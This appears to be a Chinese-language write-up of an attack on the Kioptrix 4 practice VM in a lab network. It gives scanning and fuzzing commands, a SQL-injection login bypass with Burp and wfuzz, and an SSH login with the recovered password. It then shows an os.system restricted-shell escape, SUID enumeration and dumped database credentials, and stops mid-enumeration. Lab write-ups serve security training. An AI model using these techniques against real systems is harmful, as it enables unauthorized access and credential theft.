实验环境
攻击者 Kali 192.168.192.128
受害者 Kioptrix 4 IP未知
攻击者和受害者在同一网段
1. 信息收集
nmap -sn 192.168.192.0/24
受害者IP为 192.168.192.154
收集受害者服务详情
nmap -sV -A 192.168.192.154
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
用enum4linux检测
enum4linux 192.168.192.154
没用
用nikto测试
nikto -host=http://192.168.192.152
没用
进行FUZZ测试
export URL="http://192.168.192.154/FUZZ"
#模糊测试目录 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "$URL"
#模糊测试文件 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"
发现疑似用户名的两个返回 john、robert 还有一个checklogin页面
2. 漏洞发现和利用
看看能不能从smb服务入手
msfconsole -q
search samba
use exploit/linux/samba/trans2open
set RHOST 192.168.192.154
exploit
没成功 遂放弃
访问HTTP服务
看起来是SQLi
信息收集时已经得到了两个用户名 尝试用用户名加弱密钥
尝试后无法进入
尝试使用万能密码 结果被转义
结合我们已经得到了疑似用户名的信息 尝试爆破一下
第一种方法:
使用burp suite
发给intruder
add mypassword
payload加载/usr/share/seclists/Fuzzing/SQLi/quick-SQLi.txt
不要encoding 然后start attack
攻击完成之后用length进行排序 选择进行尝试
比如 “-” length = 374 错误
选择其他长度 比如’ or ‘x’=’x length = 446
成功进入
第二种方法:
使用wfuzz
我们上面发现了checklogin这个页面 用来检测用户名密码有没有问题 我们就可以把它作为FUZZ对象 根据变化 判断是否成功进入
export URL="http://192.168.192.154/checklogin"
#-d之后要把页面中的参数都填上去 根据看页面源代码发现
wfuzz -c -z file,/usr/share/seclists/Fuzzing/SQLi/quick-SQLi.txt -d "myusername=john&mypassword=FUZZ&Submit=Login" --hc 404 "$URL"
然后根据长度来一个个测试 同burp suite一样操作
如果发现有些长度是不对的 可以排除
如排除109和264
wfuzz -c -z file,/usr/share/seclists/Fuzzing/SQLi/quick-SQLi.txt -d "myusername=john&mypassword=FUZZ&Submit=Login" --hc 404 --hh 109,264 "$URL"
继续选择 直到我们进去
我们得到了用户名为john 密码为MyNameIsJohn
尝试SSH
ssh john@192.168.192.154
Unable to negotiate with 192.168.192.154 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
发现密钥不支持 我们添加密钥
ssh -oHostKeyAlgorithms=+ssh-dss john@192.168.192.154
输入密码 我们就getshell了
3. 后渗透阶段
cd /tmp
?
我们尝试进入/tmp时 发现被严重受限了
只能使用下面几个命令
我们得尝试突破限制
os.system
os.system方法是os模块最基础的方法,其它的方法一般在该方法基础上封装完成。
os.system原理
-
system函数可以将字符串转化成命令在服务器上运行;其原理是每一条system函数执行时,其会创建一个子进程在系统上执行命令行,子进程的执行结果无法影响主进程;
-
上述原理会导致当需要执行多条命令行的时候可能得不到预期的结果;
echo os.system("/bin/bash")
成功突破
uname -a
Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
file /bin/bash
/bin/bash: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.8, dynamically linked (uses shared libs), stripped
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"
find / -user root -perm -4000 2>/dev/null -exec ls -l {} \;
find / -perm -g=s - 2>/dev/null -exec ls -l {} \;
去看看数据库
grep -Ri 'db' . --color=auto
grep -Ri 'sql' . --color=auto
发现数据库用户名 root 密码为空
尝试连接一下
john | MyNameIsJohn
robert | ADGAdsafdfwt4gadfga==
去家目录看一下
cd /home
ls -al
发现一个没见过的用户
ls -lsaR
......
./loneferret:
total 44
4 drwxr-xr-x 2 loneferret loneferret 4096 2012-02-06 16:38 .
4 drwxr-xr-x 5 root root 4096 2012-02-04 18:05 ..
4 -rw------- 1 loneferret loneferret 62 2012-02-06 20:24 .bash_history
4 -rw-r--r-- 1 loneferret loneferret 220 2012-02-04 09:58 .bash_logout
4 -rw-r--r-- 1 loneferret loneferret 2940 2012-02-04 09:58 .bashrc
4 -rw-r--r-- 1 loneferret loneferret 1 2012-02-05 10:37 .lhistory
4 -rw------- 1 root root 68 2012-02-04 10:05 .my.cnf.5086
4 -rw------- 1 root root 1 2012-02-04 10:05 .mysql.5086
4 -rw------- 1 loneferret loneferret 1 2012-02-05 10:38 .mysql_history
4 -rw------- 1 loneferret loneferret 9 2012-02-06 16:39 .nano_history
4 -rw-r--r-- 1 loneferret loneferret 586 2012-02-04 09:58 .profile
0 -rw-r--r-- 1 loneferret loneferret 0 2012-02-04 10:01 .sudo_as_admin_successful
.......